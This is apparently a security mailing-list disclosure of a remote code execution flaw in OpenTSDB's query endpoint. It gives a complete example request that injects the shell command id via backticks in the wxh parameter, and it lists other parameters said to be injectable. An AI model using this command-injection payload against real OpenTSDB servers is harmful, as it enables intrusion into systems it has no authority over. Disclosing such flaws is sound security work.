[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

OpenTSDB RCE

The paramenter wxh needs some sanitation before being used by opentsdb.

See example url:

http://opentsdb.com:4242/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60id%60&style=linespoint&png

Results in RCE unfortunately

More parameters:

    wxh
    start
    m
    o
    key
    style

Payload:
%60id%60

Affects all current versions of opentsdb.